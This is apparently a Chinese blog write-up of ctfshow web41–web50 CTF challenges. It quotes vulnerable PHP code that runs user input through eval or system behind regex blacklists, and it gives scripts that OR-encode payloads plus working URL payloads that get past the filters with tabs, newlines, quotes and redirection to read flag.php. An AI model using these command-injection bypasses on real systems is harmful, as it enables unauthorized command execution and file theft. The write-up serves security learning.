• ctfshow web41-web50


    web41

    代码审计

    1. if(isset($_POST['c'])){
    2. $c = $_POST['c'];
    3. if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
    4. eval("echo($c);");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }
    9. ?>

    过滤了:[0-9] [a-z] ^ + ~ $ [ ] { } & -

    这次字母过滤了,字符不是很多

    思路:通过特殊字符来构造字母从而实现代码执行

    这里根据题目提示已经给了一篇博客

    https://blog.csdn.net/miuzzx/article/details/108569080

    第一个脚本运行结果是

    1. $myfile = fopen("rce_or.txt", "w");
    2. $contents="";
    3. for ($i=0; $i < 256; $i++) {
    4. for ($j=0; $j <256 ; $j++) {
    5. if($i<16){
    6. $hex_i='0'.dechex($i);
    7. }
    8. else{
    9. $hex_i=dechex($i);
    10. }
    11. if($j<16){
    12. $hex_j='0'.dechex($j);
    13. }
    14. else{
    15. $hex_j=dechex($j);
    16. }
    17. $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
    18. if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
    19. echo "";
    20. }
    21. else{
    22. $a='%'.$hex_i;
    23. $b='%'.$hex_j;
    24. $c=(urldecode($a)|urldecode($b));
    25. if (ord($c)>=32&ord($c)<=126) {
    26. $contents=$contents.$c." ".$a." ".$b."\n";
    27. }
    28. }
    29. }
    30. }
    31. fwrite($myfile,$contents);
    32. fclose($myfile);

    解释一下是怎么得来的

    eg:A %40 %01

    十六进制的40=十进制的64=二进制0100 0000

    十六进制的01=十进制的01=二进制0000 0001

    二者进行或运算

    0100 0000

    0000 0001

    0100 0001 等于十进制65

    十进制65对应的ascii码中A

    1. 如构造一个 (system)('ls')
    2. ("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")
    3. 其中 %13|%60=s %19|%60=y %14|%60=t
    4. 很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起

    不理解的话可以具体去看一下这个网址带着的表

    在线进制转换 - 码工具

    运行结果

    参考:《CTFshow-Web入门》05. Web 41~50_ctfshow web41-CSDN博客

    找到了另一篇参考

    下面可以直接修改ls

    python脚本可以直接出编码,就不用手打了

    1. import re
    2. import urllib
    3. from urllib import parse
    4. hex_i = ""
    5. hex_j = ""
    6. pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
    7. str1=["system","ls"]
    8. for p in range(2):
    9. t1 = ""
    10. t2 = ""
    11. for k in str1[p]:
    12. for i in range(256):
    13. for j in range(256):
    14. if re.search(pattern,chr(i)) :
    15. break
    16. if re.search(pattern,chr(j)) :
    17. continue
    18. if i < 16:
    19. hex_i = "0" + hex(i)[2:]
    20. else:
    21. hex_i=hex(i)[2:]
    22. if j < 16:
    23. hex_j="0"+hex(j)[2:]
    24. else:
    25. hex_j=hex(j)[2:]
    26. hex_i='%'+hex_i
    27. hex_j='%'+hex_j
    28. c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
    29. if(c ==k):
    30. t1=t1+hex_i
    31. t2=t2+hex_j
    32. break
    33. else:
    34. continue
    35. break
    36. print("(\""+t1+"\"|\""+t2+"\")")

    这里加了换行

    用bp抓包

    学习了大佬的方法,刚开始我bp抓包总是抓不到,于是用

    open browser试了一下成功了

    转为 post 请求来传递一下参数 发给重发器

    添加下面的参数,ls显示目录

    (system)(ls)

    c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")

    "system""cat flag.php"

    (system)(cat flag.php)
    c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

    ctfshow{4f59f180-57f0-4d24-8fac-d9ddca4e608d}

    小结一下这题:

    由于过滤了字母,我们需要用字符来构成字母,根据题目提示用或运算构造字符,具体怎么构造参考上面的eg

    理解了是怎么构造的,用脚本构造即可

    bp抓包,用post构造参数,传参即可

    参考资料:

    CTFshow wbe41 教你写脚本_ctfshow web41-CSDN博客

    另一个参考资料的另一种方法有点看不懂

    《CTFshow-Web入门》05. Web 41~50_ctfshow web41-CSDN博客

    1. system('ls')
    2. ('system')('ls')
    3. (system)('ls')
    4. ('system')(ls)
    5. 是一样的,都可以执行
    web42

    提示:

    cat flag.php%0a 查看源代码

    代码审计

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. system($c." >/dev/null 2>&1");
    4. }else{
    5. highlight_file(__FILE__);
    6. }

    代码分析:

    system($c." >/dev/null 2>&1");: 使用PHP的system()函数执行用户提供的命令。在这里,用户提供的命令被附加到>/dev/null 2>&1,这个部分的作用是将命令的输出和错误重定向到/dev/null,这样就不会将输出发送到Web页面上

    直接用提示上的

    方法1

    ?c=cat flag.php ||

    没有回显,在源代码

    /?c=cat flag.php ||

    方法2

    直接让拼接的命令换行。

    /?c=cat flag.php %0a

    方法3

    更容易理解

    执行/?c=ls无回显

    执行/?c=ls;ls

    叫双写绕过,因为;的分割,此处是将第二个ls写入黑洞了

    /?c=tac flag.php;(tac反向输出)

    此处主要是分号起到了分割的作用,与前面大同小异

    原理:

    >/dev/null 2>&1 命令简单理解 表示不回显。

    /dev/null 文件描述符,往里面写的所有数据都不会保存,也就是将返回结果写到黑洞里面

    也就是c参数的所有返回结果是不显示的

    Shell脚本———— /dev/null 2>&1详解 - Tinywan - 博客园

    讲的更详细

    要让命令回显,可以进行命令分隔,以此来绕过:

    1. ; 分号
    2. | 只执行后面那条命令
    3. || 只执行前面那条命令
    4. & 两条命令都会执行
    5. && 两条命令都会执行

    或者直接使用 %0a(换行符,url 编码)将其分隔。

    我的只有; || %0a能在源码中看到

    web43

    代码审计

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    在web42的基础上,正则表达式过滤了; cat

    方法1

    可以看到提示:

    nl flag.php%0a 查看源代码

    确实出来了

    /?c=nl flag.php%0a
    /?c=nl flag.php%0a

    换一个命令,且使用换行符的 url 编码让 >/dev/null 2>&1 换行

    方法2

    执行/?c=ls&&ls

    用两个&起到命令分割的作用代替;

    && 前也就是第一个命令执行成功后才会执行第二个命令

    第二个命令输出黑洞

    用的时候要进行url编码

    /?c=ls%26%26ls

    /?c=tac flag.php%26%26ls
    /?c=tac flag.php%26%26ls

    ctfshow{9190daf7-1b68-4c22-b21b-0c4c87f2e767}
    web44

    提示:

    nl fla*.php%0a 查看源代码

    代码审计

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/;|cat|flag/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    在web42的基础上,正则表达式过滤了; cat flag

    简单的通配符绕过(通配符就是代表任意字符,虽然flag被过滤了,也可以用通配符过滤出来)

    方法1:

    使用提示的方法

    /?c=nl fla*.php%0a

    源码里有

    方法2:

    /?c=ls %26%26ls

    (记得两个&&要进行url编码)

    /?c=tac fla*.php %26%26 ls

    方法3

    /?c=tac fl''ag.php ||

    web45

    代码审计

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat|flag| /i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    过滤了; cat flag 空格

    直接试一下前面的方法(试了不行)

    发现一个很好的思路:将空格进行url编码

    空格对应的url编码是%20,试一下发现也不行

    引入ascii码表的水平制表符

    ASCII码一览表,ASCII码对照表

    有一个作用是 分隔字段:在某些文件格式(如CSV)中,水平制表符可以用作字段之间的分隔符,以便在数据中区分不同的字段。

    %09(tab)
    /?c=tac%09fla*.php||

    web46

    提示

    nl''g.php||

    代码审计

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    过滤了; cat flag 空格 [0-9] $ *

    过滤了数字,编码方式就不行了

    用提示的方法

    /?c=nl%3Cfla''g.php||

    %3C是<的url编码

    /?c=nl%3Cfla''g.php||

    源代码

    到这里时我有一个疑问:明明数字被过滤了,为什么水平制表符%09还可以继续代替空格使用?

    解释: 其中,[0-9]表示匹配任何一个数字字符。正则表达式中的|表示逻辑或的关系,即满足其中一项条件即可匹配。由于正则表达式中没有明确指定对水平制表符的过滤,因此在过滤的逻辑中会被忽略。

    在使用时,url会自动解码就没有数字了,解码后就是水平制表符

    方法2

    /?c=tac%09fl''ag.php||
    /?c=tac%09fl''ag.php||

    也可以fla? fl?g等

    web47

    提示:

    nl''g.php||

    代码审计

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    过滤了:; cat flag 空格 [0-9] $ * more less head sort tail

    比web46多了一些文件读取命令,但未过滤tac

    用web46的payload

    /?c=tac%09fl''ag.php||

    其他命令同理

    web48

    代码审计

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl `

    同web47,用web46的payload

    /?c=tac%09fl''ag.php||

    说明在linux下读取文件的命令有很多,过滤那么多,少一个都不行

    web49

    代码审计

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` %

    这里虽然过滤了%,但我们的%09会被url解码为水平制表符

    同web47,用web46的payload

    /?c=tac%09fl''ag.php||

    web50

    代码审计

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` % x09 x26

    可以看到x09和%都被过滤了

    /?c=tac<>fl''ag.php||
    /?c=tac<>fl''ag.php||

    /?c=nl

    小结:liunx下读取命令的方式有很多种,这些不是唯一的解法,掌握的解法越多,对命令运用会更熟练

  • 相关阅读:
    【Linux学习笔记】调试工具gdb
    linux上安装nginx
    Oculus 手势追踪
    到底什么是Linux?快进来学习!
    什么是SystemUI
    【Linux】进程控制
    Excel提高工作效率常用功能
    69: 偷菜时间表(python)
    UML(类图基础)
    886.可能的二分法 | 785.判断二分图
  • 原文地址:https://blog.csdn.net/m0_73721944/article/details/138169746